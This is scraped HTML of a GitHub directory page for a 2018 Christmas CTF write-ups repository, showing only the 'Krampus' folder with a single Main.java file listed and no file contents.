1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> serega6531 </span> <span>/</span> XmasCtf2018Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/serega6531/XmasCtf2018Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162837579,"originating_url":"https://github.com/serega6531/XmasCtf2018Writeups/tree/master/Krampus","user_id":null}}" data-hydro-click-hmac="99e94dc68ce43f41b93f55bb44df91536ae65b62e10e9b2f387e6aba4cf24e01"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>Krampus<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>Krampus<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/serega6531/XmasCtf2018Writeups/tree-commit/c4e5b8c72c4e35e9b6cbbe2d163b9f94db6fd0ac/Krampus" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/serega6531/XmasCtf2018Writeups/file-list/master/Krampus"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Main.java</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path 